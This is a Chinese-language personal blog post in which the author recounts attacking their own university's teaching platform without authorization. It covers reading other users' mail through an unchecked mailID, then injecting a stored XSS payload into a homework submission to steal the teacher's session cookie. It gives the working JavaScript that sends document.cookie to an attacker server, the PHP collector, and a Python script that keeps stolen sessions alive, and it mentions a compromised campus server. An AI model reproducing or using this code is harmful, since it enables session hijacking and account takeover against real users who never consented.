前言
偷得浮生半日闲。
记一记往事。
大神请绕道。。
写之前打开hackinglab,一年不见,多了个创新关。
脚本关的12-15题是XSS。打开脚本关的XSS瞅了一眼,15关没过。
想起上次啃15关啃了很久啃不出,那时还在高中的图书馆里。此处省略一千字。
时隔若干年,老夫要找个时间再试一试。
这里的攻击对象是学校旧的网络教学综合平台(也就这种老的网站适合我这种新手),对应的唯一的课程是数据结构。
这里对应的难度应该就是脚本关12题,无需任何构造,直接注入,简单粗暴,效果极好。
开始
1.闲逛
上机课,没带电脑,做差不多了,好无聊,干啥呢,网速真慢,电脑真卡,玩玩教务系统吧。
给自己发封邮件。。
随手一点打印预览,可以看到弹出来一个框,地址显示了显示邮件这个模块的真实链接。
那么说明原来这个网页是很多iframe拼起来的,看了一下elements,果然是。
试试把mailID改一下,额。。。:
很煽情,马了。
有发作业的,有发祝福的,有发感谢的,,,还有。。。测试的。
连访问权限都不加。。
2.瞎看
看看这个网页怎么个加载流程。
在刚打开的打印预览里分析比较方便。
Elements打开。定位到自己发送的内容123.
可以看到整个网页是整个教务平台的一个iframe,而邮件的内容又是这个整个邮件模块网页的iframe。
先打开网页的源码,搜索一下“123”,就是我的邮件内容。
当然,网页里显示的123不会出现在这,因为那是它里头iframe里的东西。
这里的123被value包含,value的值转义一下。(< = < , > = >)。那么转义过来就是<p>123</p>。
那么一定有js脚本读取这个value,然后动态添加到自身,显示最终的123.因为如果网页中的123是后台生成好的,那就没必要把网页中的元素再放到这个hidden的div中来了。
然后找啊找,找啊找。直接用id 129_content找是行不通的,搜遍全部脚本都找不到,是拼接的。搜_content可以找到的,尽管并不是这样找到的。
那段脚本在这,在iframe框架里的源码里。
浏览器右键点击123区域,查看框架的源代码。源码不长。
网页onload后执行loadContent,loadContent第三行找到父窗口,name这里是129,所以找到id为129_content的元素的value,也就是<p>123</p>。把它替换到自己的body中。
所以这个iframe内容从“内容读取中...”变为了自己的123.
3.分析
看数据包可以看到,用户的输入变成了string,内容就html的一个个标签加上实质的用户输入内容。放在表单中提交。
服务器存在数据库中,下次看邮件,把这个string发回来,在浏览器中动态渲染。
插入图片,就会有个img标签,设置字体改变的是对应标签的css属性。等等。
那么能不能插入点自己的标签呢。试试。
写个脚本发送数据包麻烦了,还是拦截包吧。
4.尝试
打开写邮件界面,准备写点什么。
浏览器局域网设置代理服务器,请求都先发到这个地址的这个端口。
打开burpsuit,添加这个端口,拦截这个端口的数据包。
收件人写自己,随便写点什么东西。
发送前,打开burpsuit的拦截。
邮件界面点击发送按钮。
这时burpsuit闪了一下,它似乎抓到了什么东西。
打开它。
object是标题,body是邮件内容。
那么,在body中注入便签。注入:<script>alert(1)</script>
写完,关闭拦截。
那么这个数据包就被发出去了,本该去哪去哪。
邮件发送成功。打开发出去的那封邮件。
噢!弹出警告框了。
关闭后,邮件其他内容再被加载。
所以。别人打开我的邮件也会弹窗,执行我注入的script脚本。
这种动态加载机制还不会被chrome的XSS Auditor检测出来。
注意到发送的数据包中有个JSESSIONID,服务器是用session来记录访客信息的。
那么首先,构造脚本,别人打开邮件,我的脚本将它的记录sessionId的cookie发到我的服务器。我拿这个cookie去访问网站,那么就可以免登录,伪装成这个sessionId的所有者了。即Cookie诈骗。
提交作业和这个是同一个邮件系统,在提交zip文件时,后面悄悄插入一个script脚本,在老师电脑上跑js,然后窃取sessionId,窃取到以后,我就是老师了,啊哈哈哈,啊哈哈哈!
5.搞事情
a.服务器(接受端)
接收前台注入的script发出的请求。
正常来说,老师是会连接外网的。但如果没连,那就发不到我的服务器。但是要上教务网站,一定要连内网,所以服务器选了个校内的服务器。
要说这个校内的服务器怎么拿到的,那又是另外一个故事了。。。此处省略五千字。
服务器用php。发来的cookie存在url的参数c里面。
读取过来,保存到文件中。
php源码:
<?php
$c=$_GET['c'];
$cooFile=fopen("xss_cookies.txt","a+") or die("Unable to open file!");
$isSame=0;//是否已存在
while(!feof($cooFile)){
$line=fgets($cooFile);
$line=str_replace("\r\n","",$line);
#print $line;
if($line==$c){
$isSame=1;
#break;
}
}
if($isSame==0){//不存在,保存
fwrite($cooFile,$c);
fwrite($cooFile,"\r\n");
}
fclose($cooFile);
?>
这里目标就一个,所以用简单的做法, 搜整个文件是否已存在这个cookie,不考虑效率问题。
正常来说,如果有的话,文件中就一个记录,老师的cookie。
还有一个问题,因为服务器的session是有有效期限的,太久没访问,这个session就过期没用了。
所以要定期的用这个session去访问一下服务器,不断刷新它的有效期。
我还要上课哇。不可能一直坐在电脑前面等它出现。
应该要白天忙别的,晚上回来享用胜利的果实。
这里写一个python脚本,从上面保存cookie的文件xss_cookies.txt中拿cookie,然后随便找个网站需要登录权限的api,访问一下就ok了。就是python爬虫吧。这个过程周期性的执行。
这是脚本。
#encoding=utf-8
import httplib,datetime,time
server='匿了.匿了.匿了.匿了.'
url='/homepage/common/'
headers={
'Cookie': 'JSESSIONID=F11BB7FB2A48014CC24F98E24D0F9DF6',
'Upgrade-Insecure-Requests' :'1',
'Host': '匿了.匿了.匿了.匿了.',
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0'
}
def postIt(c):
conn=httplib.HTTPConnection(server)
headers['Cookie']=c
conn.request(url=url,method='GET',headers=headers)
resp=conn.getresponse()
res=resp.read()
f=open('log.txt','a')
time=datetime.datetime.now().strftime("%b %d %Y %H:%M:%S")
f.write(time+' '+c+' ')
res = unicode(res, "gbk")
state=res.find(u'欢迎登录!')
info='1'
if state==-1:
info='-1'
f.write(info+'\n')
conn.close()
f.close()
while 1:
try:
cs=open('D:\\路径匿了\\路径匿了\\路径匿了\\xss_cookies.txt','r')
lines=cs.readlines()
for line in lines:
line=line.strip('\n')
postIt(line)
cs.close()
except Exception:
pass
time.sleep(10*60) #10minutes
postIt 把修改cookie,把数据包发出去。查找返回网页内容,如果有欢迎登录字样,说明Cookie还有效,否则无效,把时间,Cookie,是否有效写入到日志log.txt中。
while 1中try catch避免中途结束,读取xss_cookies.txt,把每行的Cookie去post一下。更新下有效期。10分钟一次这个过程。
这里python文件后缀名,用pyw。后台执行,总不能在别人服务器上明目张胆的开个黑框框吧。不能捡了芝麻丢了西瓜。任务管理器那里会看到,还是有风险,唉,先不管了。
b.注入script
首先,直接弹出一个包含cookie信息的url是不可以的。chrome很大可能会拦截。而且,不能在老师眼皮子底下弹出个什么东西吧,尽管由于弹出来的网页可以让它自动关闭,过程很短,但还有更好的方案。
js发个数据包就好了。
比较简单,这是注入的内容。
<script>
function createXMLHttpRequest(){
var xhr;
if(window.XMLHttpRequest){
xhr=new XMLHttpRequest();
if(xhr.overrideMimeType){
xhr.overrideMimeType("text/xml");
}else if (window.ActiveXObject){
xhr=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xhr;
}
var xhr=createXMLHttpRequest();
if(xhr!=null){
url="http://服务器地址匿了/Image/xss.php?c="%2bdocument.cookie;
xhr.open("get",url,true);
xhr.send({});
}
</script>
倒数第5行用 “+” 符号貌似会出问题,记不清了,记不清了,记不清了。%2b是 + 的URL编码。
好,重复4.尝试的内容,在交作业时,拦截,在zip文件链接,也就是</a>标签的后面注入这个script代码,发送,作业提交成功。表面上丝毫看不出来,javascript脚本后台默默执行。
打开提交的作业。查看网页元素。
恩,该有的都有了。同时,我自己的cookie也被发送到我的服务器上了,在服务器中可以看到。
坐等老师打开邮件。
c.说明
a,b 的内容自己访问测试,都是测试通过的,在当天内,cookie会一直被validate。所以每天看一眼服务器就行了。
5.结果
之后几天中,每天中午或晚上看一眼服务器,看看是不是有了点什么东西。
终于,某一天,出现了。点下图片好像可以放大。
中午看到的。
老师在早上10:19到10:29区段的某个时间批改了我的作业。
顺便看看作业多少分。
啊,这次是10分。接着分析。
1AD打头的JSESSIONID 10点29返回值是1,有效。10点39就失效了。
(其他一直是-1的,是前一天的session,因为分析知道平台服务器每晚上1点来钟会清空一下内存,所以这里保留了很多失效的cookie,是前几天测试用的。当时更新cookie有效期是成功了的,在一天内可以无限延期,第二天就没用了。)
为啥下个10分钟会失效了嘞,我的程序是没问题的,说明平台服务器主动将这个SESSION给作废了。
有两个可能:
1. servlet那里session绑定了ip,别的ip访问,就认为非法。不过可能性不大,连邮件的权限都不加,还会在意这个?后来也没有再去测试是不是ip的问题。
2. 教学平台右上角有个退出按钮。这个点击后console network中出现一个logout.jsp,大概服务器收到这个就把对应的session作废了。这个可能性极大。 平时我做完都是直接把整个窗口给关了,也没有点退出。网页应该也没有监听窗口关闭的事件,因为只要浏览器不关,再打开还是处于登录状态。所以测试时的session一直有效。 而老师,估计改了一部分作业就logout了。他作业是分批改的,这个平时可以看出。
老师在10:29到10:39的区段的某个时间点了退出登录。恩,就是这样。
如果在10:19到10:39的某个时间,还有机会兴风作浪。
兴风作浪:用chrome插件EditThisCookie改cookie比较方便。
那一天是2017.11.02 星期四。
课表。
即使没课,因为没有通知的机制,我也不会没事情一直盯着那个文件看。
所以,这次行动以失败告终。
我们下期再见。
======================噢不。
未完,待续。